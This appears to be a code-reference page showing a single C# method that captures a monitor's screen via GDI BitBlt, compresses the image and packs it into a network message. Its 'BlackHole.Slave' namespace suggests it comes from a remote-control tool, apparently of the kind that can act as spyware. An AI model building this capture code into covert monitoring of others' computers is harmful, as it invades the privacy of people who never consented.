BlackHole.Slave.Helper.RemoteDesktopHelper.CaptureScreen C# (CSharp) Method

CaptureScreen() public static method

public static CaptureScreen ( int screenNb, int quality ) : BlackHole.Common.Network.Protocol.ScreenCaptureMessage
screenNb int
quality int
return BlackHole.Common.Network.Protocol.ScreenCaptureMessage
        public static ScreenCaptureMessage CaptureScreen(int screenNb, int quality)
        {
            var bounds = Screen.AllScreens[screenNb].Bounds;
            var screen = new Bitmap(
                bounds.Width,
                bounds.Height,
                PixelFormat.Format32bppPArgb);

            using (var dest = Graphics.FromImage(screen))
            {
                var destPtr = dest.GetHdc();
                var srcPtr = Gdi32.CreateDC("DISPLAY",
                    null,
                    null,
                    IntPtr.Zero);

                Gdi32.BitBlt(destPtr,
                    0,
                    0,
                    bounds.Width,
                    bounds.Height,
                    srcPtr,
                    bounds.X,
                    bounds.Y,
                    Gdi32.ROP_COPY);

                Gdi32.DeleteDC(srcPtr);
                dest.ReleaseHdc(destPtr);
            }

            var compressed = ImageHelpers.CompressImage(screen, quality);
            screen.Dispose();

            return new ScreenCaptureMessage
            {
                ScreenNumber = screenNb,
                Quality = quality,
                Width = bounds.Width,
                Height = bounds.Height,
                RawImage = compressed
            };
        }
RemoteDesktopHelper